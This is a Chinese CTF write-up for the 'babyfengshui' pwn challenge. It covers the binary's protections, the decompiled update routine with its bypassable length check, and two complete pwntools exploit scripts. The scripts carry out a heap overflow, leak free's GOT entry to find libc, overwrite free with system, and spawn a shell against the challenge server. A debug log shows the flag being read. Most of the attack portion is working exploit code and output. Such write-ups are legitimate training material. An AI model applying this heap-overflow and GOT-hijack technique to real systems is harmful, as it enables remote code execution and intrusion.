攻防世界babyfengshui解题思路

20 篇文章 0 订阅

解题思路

基本信息查询

healer@healer:~/Documents/CTF/PWN/babyfengshui$ readelf -h babyfengshui
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x80485c0
  Start of program headers:          52 (bytes into file)
  Start of section headers:          8568 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         9
  Size of section headers:           40 (bytes)
  Number of section headers:         29
  Section header string table index: 28
healer@healer:~/Documents/CTF/PWN/babyfengshui$ checksec babyfengshui
[*] '/home/healer/Documents/CTF/PWN/babyfengshui/babyfengshui'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

漏洞分析

下面检测过程只能检测相邻的一组chunk属于一个结点的情况,当一个结点的两个chunk中间物理内存上包含其他完整的结点,即可实现堆的溢出,检测方法实际上是text域的开始加上长度的地址值和记录结点信息的chunk开始处的地址值比大小,正常情况下,写入过多覆盖下一个chunk时,检测条件会被触发则不会写入到本结点的第二个chunk

int __cdecl update_8048724(unsigned __int8 index)
{
  char v2; // [sp+17h] [bp-11h]@3
  int length; // [sp+18h] [bp-10h]@3
  int v4; // [sp+1Ch] [bp-Ch]@1

  v4 = *MK_FP(__GS__, 20);
  if ( index < (unsigned __int8)sum_804B069 && *(&ptr + index) )
  {
    length = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &length, &v2);
    if ( (char *)(length + *(_DWORD *)*(&ptr + index)) >= (char *)*(&ptr + index) - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    sub_80486BB(*(char **)*(&ptr + index), length + 1);
  }
  return *MK_FP(__GS__, 20) ^ v4;
}

解题脚本

from pwn import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']

# io = remote("220.249.52.134",59762)
io = process("./fix_babyfengshui")

elf = ELF("./fix_babyfengshui")

# libc = ELF("./libc.so.6")
libc = ELF("./libc-2.23.so")

context(arch = "i386", os = 'linux')

def add_node(size,name,text_length,text):
    io.recvuntil("Action: ")
    io.sendline("0")
    io.recvuntil("size of description:")
    io.sendline(str(size))
    io.recvuntil("name:")
    io.sendline(name)
    io.recvuntil("text length:")
    io.sendline(str(text_length))
    io.recvuntil("text: ")
    io.sendline(text)

def delete_node(index):
    io.recvuntil("Action: ")
    io.sendline("1")
    io.recvuntil("index:")
    io.sendline(str(index))

def display_node(index):
    io.recvuntil("Action: ")
    io.sendline("2")
    io.recvuntil("index:")
    io.sendline(str(index))

def update_node(index,text_length,text):
    io.recvuntil("Action: ")
    io.sendline("3")
    io.recvuntil("index:")
    io.sendline(str(index))
    io.recvuntil("text length:")
    io.sendline(str(text_length))
    io.recvuntil("text:")
    io.send(text)


# b * add:0x08048903; 
#     del:0x0804898D;
#     display:0x08048A15; 
#     update:0x08048814;

# x/20xw 0x0804b080

gdb.attach(io,"b *0x08048903\nb *0x0804898D\nb *0x08048A15\nb *0x08048814")

add_node(0x20,"1"*4,0x20,"a"*0x20)
add_node(0x20,"2"*4,0x20,"b"*0x20)
add_node(0x20,"2"*4,0x20,"b"*0x20)

delete_node(0)
add_node(0x80,"3"*4,0x20,"c"*0x20)

data_addr = 0x0804B040

free_got_addr = elf.got["free"]
log.info("free_got_addr: " + hex(free_got_addr))

payload = b"0"*0x80 + p32(0x88) + p32(0x29) + p32(0)*9 + p32(0x89)
payload += p32(free_got_addr) + b"0"*0xac
payload += p32(data_addr)
update_node(3,len(payload),payload)

payload = b"/bin/sh"
update_node(2,len(payload),payload)

display_node(1)

io.recvuntil("description: ")
free_real_addr = io.recv(4)
# print("--->",free_real_addr)
free_real_addr = u32(free_real_addr)
log.info("free_real_addr: " + hex(free_real_addr))

free_offset = libc.symbols["free"]
log.info("free_offset: " + hex(free_offset))
libc_base_addr = free_real_addr - free_offset

system_offset = libc.symbols["system"]
log.info("system_offset: " + hex(system_offset))
system_real_addr = libc_base_addr + system_offset
log.info("system_real_addr: " + hex(system_real_addr))

payload = p32(system_real_addr)
update_node(1,len(payload),payload)

delete_node(2)

io.interactive()

上面的脚本在本地的时候可以执行成功没有问题,是因为我直接把libc文件换成本地电脑的文件了,方便调试和使用,但是远程的时候发现即使使用题目给的libc也不行,最后考虑可能是由于题目给的libc版本有问题,换成直接用LibcSearcher去找函数地址,成功拿到flag

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']

io = remote("111.200.241.243",44511)

# io = process("./fix_babyfengshui")

elf = ELF("./babyfengshui")

libc = ELF("./libc.so.6")
# libc = ELF("./libc-2.23.so")

# context(arch = "i386", os = 'linux')

def add_node(size,name,text_length,text):
    io.recvuntil("Action: ")
    io.sendline("0")
    io.recvuntil("size of description:")
    io.sendline(str(size))
    io.recvuntil("name:")
    io.sendline(name)
    io.recvuntil("text length:")
    io.sendline(str(text_length))
    io.recvuntil("text: ")
    io.sendline(text)

def delete_node(index):
    io.recvuntil("Action: ")
    io.sendline("1")
    io.recvuntil("index:")
    io.sendline(str(index))

def display_node(index):
    io.recvuntil("Action: ")
    io.sendline("2")
    io.recvuntil("index:")
    io.sendline(str(index))

def update_node(index,text_length,text):
    io.recvuntil("Action: ")
    io.sendline("3")
    io.recvuntil("index:")
    io.sendline(str(index))
    io.recvuntil("text length:")
    io.sendline(str(text_length))
    io.recvuntil("text:")
    io.send(text)


# b * add:0x08048903; 
#     del:0x0804898D;
#     display:0x08048A15; 
#     update:0x08048814;

# x/20xw 0x0804b080

# gdb.attach(io,"b *0x08048903\nb *0x0804898D\nb *0x08048A15\nb *0x08048814")

add_node(0x20,"1"*4,0x20,"a"*0x20)
add_node(0x20,"2"*4,0x20,"b"*0x20)
add_node(0x20,"2"*4,0x20,"b"*0x20)

delete_node(0)
add_node(0x80,"3"*4,0x20,"c"*0x20)

data_addr = 0x0804B040

free_got_addr = elf.got["free"]
log.info("free_got_addr: " + hex(free_got_addr))

payload = b"0"*0x80 + p32(0x88) + p32(0x29) + p32(0)*9 + p32(0x89)
payload += p32(free_got_addr) + b"0"*0xac
payload += p32(data_addr)
update_node(3,len(payload),payload)

payload = b"/bin/sh"
update_node(2,len(payload),payload)

display_node(1)

io.recvuntil("description: ")
free_real_addr = io.recv(4)
# print("--->",free_real_addr)
free_real_addr = u32(free_real_addr)
log.info("free_real_addr: " + hex(free_real_addr))

obj = LibcSearcher("free",free_real_addr)
libc_base = free_real_addr - obj.dump("free")
system_real_addr = libc_base + obj.dump("system")

# free_offset = libc.symbols["free"]
# log.info("free_offset: " + hex(free_offset))
# libc_base_addr = free_real_addr - free_offset
# log.info("libc_base_addr: " + hex(libc_base_addr))

# system_offset = libc.symbols["system"]
# log.info("system_offset: " + hex(system_offset))
# system_real_addr = libc_base_addr + system_offset
# log.info("system_real_addr: " + hex(system_real_addr))

payload = p32(system_real_addr)
update_node(1,len(payload),payload)

delete_node(2)

io.interactive()

其实也就是换了一下system()函数地址的获取方式,其他没啥变化

备注

可能我的这个方法有点繁琐,但是这个题算是我在堆的题目上,完全不参照大佬的思路,按照自己的想法形成的解题过程,独立完成。前期学姿势,目前可以自己搞姿势了

脚本执行情况

[DEBUG] Received 0xd bytes:
    b'text length: '
[DEBUG] Sent 0x2 bytes:
    b'4\n'
[DEBUG] Received 0x6 bytes:
    b'text: '
[DEBUG] Sent 0x4 bytes:
    00000000  40 d9 5a f7                                         │@·Z·│
    00000004
[DEBUG] Received 0xd bytes:
    b'0: Add a user'
[DEBUG] Received 0x51 bytes:
    b'\n'
    b'1: Delete a user\n'
    b'2: Display a user\n'
    b'3: Update a user description\n'
    b'4: Exit\n'
    b'Action: '
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x7 bytes:
    b'index: '
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[*] Switching to interactive mode
 $ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2d bytes:
    b'cyberpeace{******************a5efda2f1ce04}\n'
cyberpeace{******************a5efda2f1ce04}


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值